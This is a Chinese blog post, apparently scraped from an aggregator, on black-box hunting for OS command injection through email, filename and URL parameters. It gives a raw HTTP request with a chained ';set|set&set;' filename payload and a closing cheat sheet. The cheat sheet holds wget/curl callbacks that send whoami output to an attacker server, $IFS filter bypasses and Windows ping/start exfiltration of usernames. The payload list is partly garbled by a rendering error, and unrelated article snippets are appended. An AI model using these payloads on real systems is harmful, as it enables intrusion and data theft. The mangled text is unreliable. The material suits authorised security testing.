命令执行漏洞挖掘技巧分享

2023-10-26

1.1 前言

1、第三方开源通用框架/第三方类库的使用,如Struts,Jenkins等。
2、业务逻辑处理直接拼接用户可控参数区执行系统命令或者拼凑回调函数代码,中途无任何安全过滤比如说: 应用有时需要调用一些执行系统命令的函数,如PHP中的system、exec、shell_exec、passthru、popen、proc_popen等,当用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。
这里以php说明含义,任何一门编程语言,使用到了一些系统命令的函数,均可能存在命令执行漏洞。
我们常常知道,命令执行漏洞多数在白盒测试中被挖掘出来,即使我们挖了命令执行,也只是第三方的框架漏洞居多!如Struts命令执行,而那种最基本的命令执行挖掘的案例所见很少。
这次我要详细分享下因为滥用系统命令不当导致的命令执行漏洞挖掘,在黑盒测试中如何更好的fuzz出来?下面我将分享我的经验!

1.2 漏洞挖掘

再测试SSRF的地方尝试测试命令执行
尝试在url,xxxurl等参数下测试命令执行
如输入http://服务器ip/ 采用nc监听探测是否访问。
尝试 输入http:// sleep 5.服务器地址/ 出现延迟就说明存在注入
尝试输入 http://服务器地址/$(whoami)
尝试输入http://whoami.服务器地址
现在搭建网站多以linux做网站服务器,以linux为例子讲解:
作为曾经写过一段时间业务代码的我来说,在挖掘命令执行漏洞时,我经常思考,哪些地方更有可能存在命令执行漏洞呢?
网站邮箱注册,填写邮箱,邮箱验证处,是否可能存在第三方接口的调用导致安全安全问题呢?
1.2.1 Email案例分享:
在这里插入图片描述
payload:”email”: wget%20xxx.ceye.io/xxxx@qq.com”
第三方的监控平台会收到一个请求:
在这里插入图片描述
可以把网址内容改成服务器地址,然后服务器上nc –lvvp 80监听即可,真实
服务器后端通过命令处理了我们传递的email参数等逻辑信息
通过这个小案例,既然email可能存在问题,那么name,filename是否也存在类似的问题?filename是否会在程序中调用了重命名,亦或是删除等系统命令?
答案是肯定的,概率很大,这类命令执行曝洞概率极高。
1.2.2 Filename案例分享:
文件上传处:存在问题参数filename:
filename输入基础命令探测:sleep 5
发现出现了很大的延迟(网站本身延迟+5)
在这里插入图片描述
基本可以判断出可能存在命令执行漏洞。
使用curl发起请求:
在这里插入图片描述
第三方平台成功响应
在这里插入图片描述
命令执行到文件读取:
在这里插入图片描述
在这里插入图片描述
1.2.3 乌云案例分享:
这个案例是我在乌云看到的,很幸运自己能看到这个安全案例:
完整数据包:

POST /index.php HTTP/1.1
Content-Length: 364
Content-Type: multipart/form-data; boundary=-----AcunetixBoundary_NHDUMYQDQJ
Host: xxx.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*
-------AcunetixBoundary_NHDUMYQDQJ
Content-Disposition: form-data; name="submit"
submit
-------AcunetixBoundary_NHDUMYQDQJ
Content-Disposition: form-data; name="ver"
set|set&set
-------AcunetixBoundary_NHDUMYQDQJ
Content-Disposition: form-data; name="file"; filename=";set|set&set;"
Content-Type: image/png
-------AcunetixBoundary_NHDUMYQDQJ—

发包响应:
在这里插入图片描述
列出所有系统路径。他这里fuzz的技巧很好,一般我们测试命令注入都是|payload亦或是&payload,亦或是;payload,他这里把三种测试方法都归到一块变成: ;payload|payload&payload
payload可以是直接回显的set或者是ls等参数,也可以是远程curl,wget探测!
凡是name,filename等参数是很容易爆发出命令执行漏洞的,这些参数是我们fuzz中重点的关照对象。我们一定要对这些点进行多测试!

1.2.4 其他信息收集到的命令执行真实案例
在这里插入图片描述
还有哪些地方可能存在命令执行呢?发动你的思维,在url参数上,不仅仅可能存在ssrf漏洞,也有很大概率存在命令执行,很大可能调用系统命令如curl,那么在文件下载处就很大概率会调用wget!在查看图片,查看文件等地方可能会使用cat命令等,在文件删除上,我们可能会用到rm命令!一切皆有可能!
最后!!!!!!

1.3 我的rce挖掘小手册分享:
Window下||和&
linux下||和&
Linux下过滤空格可以使用: I F S , {IFS}, IFS,IFS,$IFSKaTeX parse error: Can't use function '\u' in math mode at position 15: 9 JSON格式下的测试: \̲u̲000awget\u0020 …(whoami)
curl http://服务器地址/ ( w h o a m i ∣ b a s e 64 ) ′ w ′ g ′ e ′ t (whoami|base64) 'w'g'e't (whoamibase64)wget{IFS}服务器地址
Windows下rce探测:
ping %USERNAME%.服务器地址
for /F %x in (‘whoami’) do start http://服务器地址/%x(获取计算机名)
for /F “delims=\ tokens=2” %i in (‘whoami’) do ping -n 1 %i.服务器地址(获取用户名)
测试邮箱:wget%209服务器地址/xxxx@qq.com
测试上传:sleep 10filename
测试filenname:||wget%20服务器地址
测试上传处下的名称: ;payload|payload&payload

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

命令执行漏洞挖掘技巧分享 的相关文章

  • 【网络安全】web漏洞-xml外部实体注入(XXE)

    web漏洞 xml外部实体注入 XXE 目录 web漏洞 xml外部实体注入 XXE 概念 危害 检测方法 利用方法 漏洞利用 xxe lab 有回显情况 无回显情况 pikachu靶场
  • 适用于任何公司的网络安全架构

    1 第一等级 基础级 优势 可防范基本有针对性的攻击 使攻击者难以在网络上推进 将生产环境与企业环境进行基本隔离 劣势 默认的企业网络应被视为潜在受损 普通员工的工作站以及管理员的工作站可能受到潜在威胁 因为它们在生产网络中具有基本和管理员
  • 网络空间安全女生就业,怎么学?

    我实验室的学长们基本都是以红队和复现为主 如果学校好点可能还有更多的选择 如果想在这个方向深入下去 推荐流程是先打两年CTF 把大概的技术方向摸一摸 大一的话 如果学校还不错 那就优先建议打好基础 包括C语言 Python一类 建议把CTF
  • 一个寒假能学会黑客技术吗?看完你就知道了

    一个寒假能成为黑客吗 资深白帽子来告诉你 如果你想的是学完去美国五角大楼内网随意溜达几圈 想顺走一点机密文件的话 劝你还是趁早放弃 但是成为一名初级黑客还是绰绰有余的 你只需要掌握好渗透测试 Web安全 数据库 搞懂web安全防护 SQL注
  • Web 安全漏洞之 OS 命令注入

    什么是 OS 命令注入 上周我们分享了一篇 Web 安全漏洞之 SQL 注入 其原理简单来说就是因为 SQL 是一种结构化字符串语言 攻击者利用可以随意构造语句的漏洞构造了开发者意料之外的语句 而今天要讲的 OS 命令注入其实原理和 SQL
  • 5个步骤,教你瞬间明白线程和线程安全

    记得今年3月份刚来杭州面试的时候 有一家公司的技术总监问了我这样一个问题 你来说说有哪些线程安全的类 我心里一想 这我早都背好了 稀里哗啦说了一大堆 他又接着问 那你再来说说什么是线程安全 然后我就GG了 说真的 我们整天说线程安全 但是对
  • SRC漏洞挖掘经验+技巧篇

    一 漏洞挖掘的前期 信息收集 虽然是前期 但是却是我认为最重要的一部分 很多人挖洞的时候说不知道如何入手 其实挖洞就是信息收集 常规owasp top 10 逻辑漏洞 重要的可能就是思路猥琐一点 这些漏洞的测试方法本身不是特别复杂 一般混迹
  • 线程安全(中)--彻底搞懂synchronized(从偏向锁到重量级锁)

    接触过线程安全的同学想必都使用过synchronized这个关键字 在java同步代码快中 synchronized的使用方式无非有两个 通过对一个对象进行加锁来实现同步 如下面代码 synchronized lockObject 代码 对
  • WEB前端常见受攻击方式及解决办法总结

    一个网址建立后 如果不注意安全问题 就很容易被人攻击 下面讨论一下集中漏洞情况和放置攻击的方法 一 SQL注入 所谓的SQL注入 就是通过把SQL命令插入到web表单提交或输入域名或页面请求的查询字符串 最终达到欺骗服务器执行恶意的SQL命
  • 2024年网络安全十10大发展趋势发布

    2023年网络安全十10大发展趋势发布 近日 中国计算机学会 CCF 计算机安全专委会中 来自国家网络安全主管部门 高校 科研院所 大型央企 民营企业的委员投票评选出2023年网络安全十大发展趋势 福利 趋势一 数据安全治理成为数字经济的基
  • Android开发中常见安全问题和解决方案

    前言 开发APP时经常有问到 APP的安全怎么保障 应用程序被PJ了怎么办 手机被人捡去了怎么办 特别在号称 安全第一 风控牛逼 的银行系统内 移动产品安全性仍被持有怀疑态度 那我们来总结下APP安全的方向和具体知识 1 应用程序安全 2
  • Android SDK开发艺术探索(五)安全与校验

    一 前言 本篇是Android SDK开发艺术探索系列的第五篇文章 介绍了一些SDK开发中安全方面的知识 包括资源完整性 存储安全 权限校验 传输安全 代码混淆等知识 通过基础的安全配置为SDK保驾护航 探索SDK开发在安全方面的最佳实践
  • 「网络安全渗透」如果你还不懂CSRF?这一篇让你彻底掌握

    1 什么是 CSRF 面试的时候的著名问题 谈一谈你对 CSRF 与 SSRF 区别的看法 这个问题 如果我们用非常通俗的语言讲的话 CSRF 更像是钓鱼的举动 是用户攻击用户的 而对于 SSRF 来说 是由服务器发出请求 用户 日 服务器
  • 【网安神器篇】——WPScan漏洞扫描工具

    目录 一 Wordpress简介 二 WPScan介绍 三 安装 四 获取token 1 注册账号 2 拿到token 五 使用教程 1 常用选项 2 组合命令 1 模糊扫描 2 指定扫描用户 3 插件漏洞扫描 4 主题漏洞扫描 5 Tim
  • 网络安全(黑客)自学启蒙

    一 什么是网络安全 网络安全是一种综合性的概念 涵盖了保护计算机系统 网络基础设施和数据免受未经授权的访问 攻击 损害或盗窃的一系列措施和技术 经常听到的 红队 渗透测试 等就是研究攻击技术 而 蓝队 安全运营 安全运维 则研究防御技术 作
  • 网络安全(黑客)自学

    1 网络安全是什么 网络安全可以基于攻击和防御视角来分类 我们经常听到的 红队 渗透测试 等就是研究攻击技术 而 蓝队 安全运营 安全运维 则研究防御技术 2 网络安全市场 一 是市场需求量高 二 则是发展相对成熟入门比较容易 3 所需要的
  • 渗透测试常用工具汇总_渗透测试实战

    1 Wireshark Wireshark 前称Ethereal 是一个网络分包分析软件 是世界上使用最多的网络协议分析器 Wireshark 兼容所有主要的操作系统 如 Windows Linux macOS 和 Solaris kali
  • 数据加密保障数据安全

    一 目标 1 1 预研需求 数据加密是安全领域中常用的安全措施 它们的主要作用是保护数据的机密性和完整性 以防止未经授权的访问 窃取 篡改或泄漏敏感信息 数据传输加密 保护敏感数据在传输过程中的安全 当数据通过网络传输时 它们可能会经过多个
  • 全网最全(黑客)网络安全自学路线!熬夜两周整理(巨详细)

    学网络安全有什么好处 1 可以学习计算机方面的知识 在正式学习网络安全之前是一定要学习计算机基础知识的 只要把网络安全认真的学透了 那么计算机基础知识是没有任何问题的 操作系统 网络架构 网站容器 数据库 前端后端等等 可以说不想成为计算机
  • 网络安全行业热门认证证书合集

    网络安全认证证书 就和学历一样是敲门砖 拿到了可以用不到 但不能没有 技术大牛可以没有证书 但普通人不能没有 1 初级入门 就像学历在职场上展示一个人的基本素养一样 网络安全认证证书可以展示一个人在网络安全领域具备的基本知识和技能 它为初学

随机推荐

  • Java虚拟机内存参数设置

    Java虚拟机内存参数设置 前言 Java虚拟机 JVM 是一种抽象的计算机器 JVM是一个程序 对于编写在其中执行的程序来说 它看起来像一台机器 通过这种方式 Java程序被写入相同的接口和库集 针对特定操作系统的每个JVM实现都将Jav
  • 使用nginx反向代理docker安装的jenkins

    描述 使用nginx反向代理jenkins nginx反向代理 docker安装的jenkins 方法 一 nginx反向代理docker安装的jenkins 1 使用 vim etc nginx nginx conf进入nginx 的配置
  • Typescript类型注解和类型推断

    在TypeScript中有两个基本概念 类型注解和类型推断 这两个概念在我们使用TypeScript代码时会一直使用 一 类型注解 type annotation 如 let count number count 123 这种就是类型注解
  • QT运行出现The CDB process terminated解决办法(亲测有效)

    QT运行出现The CDB process terminated解决办法 运行程序时出现如图所示的问题 检查2件事 1 检查编译器和调试器 工具 选项 构建和运行 如果是电脑图标证明不是这里的问题 如果出现黄色的感叹号证明编译器和调试器没有
  • XNA简介

    href file C DOCUME 1 ADMINI 1 LOCALS 1 Temp msohtml1 02 clip filelist xml rel File List gt XNA简介 XNA简介 首先声明 XNA不是游戏引擎 它只
  • linux g++编译以及库多重依赖

    目录 一 编译命令 二 编译相关选项 三 静态库和动态库的编译命令 1 生成动态库和静态库 2 fPIC选项 3 如何解决运行时找不到链接库的问题 四 库多重依赖 1 动态库依赖动态库 2 动态库依赖静态库 3 静态库依赖静态库 一 编译命
  • 用了很多年的PC端离线版个人知识管理软件PKM2 Manager推荐给大家

    对于从事IT行业的童鞋来说 每人每天每月都会遇到大量的新知识与旧知识出现在眼前 从而就会出现知识容易遗忘 经验容易流失的情况 比如 曾经遇到过的某类问题 今天再次出现了 或曾经做过一次事情步骤 今天要再次重新做一遍等等 对这些众多的知识若没
  • 最难用的鼠标键、设置半天、反人类逻辑(罗技)

    目的 高效设置罗技鼠标键 提高复制粘贴效率 准备软件 Logitech G HUB Logitech 支持 下载 1 右上角 点击箭头 点击管理配置文件 2 左下角 点击加号 创建配置文件 办公 3 点击办公 4 右上角选择 办公 底部点击
  • YOLO算法概述与细节

    R CNN系列算法是two stage 两步走算法 yolo和ssd属于one stage算法 yolo v1 把图片分成若干个小区域 每个小区域负责检测是否有物体的中心点落在其中 每个小区域可预测多个box 但是只能检测一个物体 算法首先
  • 在C++中实现foreach循环,比for_each更简洁!

    原文 http blogread cn it article 2570 f sr python c java里面都有类似于foreach的结构 stl里面虽然有for each这个函数 但是感觉使用还是太繁琐了一些 所以就自己实现了一个 先
  • docker搭建lanproxy内网穿透服务

    docker搭建lanproxy内网穿透服务 一 服务端 1 1 安装docker 1 2 安装nginx 1 3 域名解析 1 4 安装lanproxy server 1 5 配置 nginx 反向代理 1 6 继续配置 lanproxy
  • JZ76 删除链表中重复的结点

    JZ76 删除链表中重复的结点 描述 在一个排序的链表中 存在重复的结点 请删除该链表中重复的结点 重复的结点不保留 返回链表头指针 例如 链表 1 gt 2 gt 3 gt 3 gt 4 gt 4 gt 5 处理后为 1 gt 2 gt
  • centos忘记root密码后如何重置!

    忘记系统管理员密码真是件头疼的事 centos7的拯救之路如下 第一步 重启系统 按 e 进入启动文件界面后 第二步 按 拉到底部 找到linux16这一行 将ro改成rw 在这行最后面加上 init bin sh 第三步 然后按 Ctrl
  • 一文读懂 MySQL 锁

    1 MySQL 锁简介 1 1 什么是锁 锁是计算机用以协调多个进程间并发访问同一共享资源的一种机制 MySQL中为了保证数据访问的一致性与有效性等功能 实现了锁机制 MySQL中的锁是在服务器层或者存储引擎层实现的 1 2 锁用来解决什么
  • echart重新渲染(新)

    我看别人写的博文并不管用 自己看了api研究了一会 各位码子们 见证奇迹的时刻到了 myChart clear 消除当前实例 option color rgba 65 140 240 1 rgba 0 22 79 1 改变颜色 myChar
  • c++学习之set容器-自定义数据类型指定排序规则

    存放自定义数据类型必须要指定排序规则 include
  • Ubuntu弹窗“System program problem detected”

    Ubuntu系统有时会弹框 System program problem detected 系统在告诉你 你的系统的一部分崩溃了 但并不是一个严重的问题 你的系统是完全可用的 Ubuntu中有内建实用程序叫做Apport Apport是Ub
  • JavaScript学习手册(55)

    变量提升与函数提升 变量提升声明 通过var定义 声明 的变量 在定义语句之前就可以访问到 值 undefined 函数提升声明 通过function声明的函数 在之前就可以调用 值 函数定义 对象 问题 变量提升和函数提升是如何产生的 执
  • Taro小程序 URL、String生成二维码

    先在 wxml 文件中 创建绘制的 canvas 并定义好 width height canvasId
  • 命令执行漏洞挖掘技巧分享

    1 1 前言 1 第三方开源通用框架 第三方类库的使用 如Struts Jenkins等 2 业务逻辑处理直接拼接用户可控参数区执行系统命令或者拼凑回调函数代码 中途无任何安全过滤比如说 应用有时需要调用一些执行系统命令的函数 如PHP中的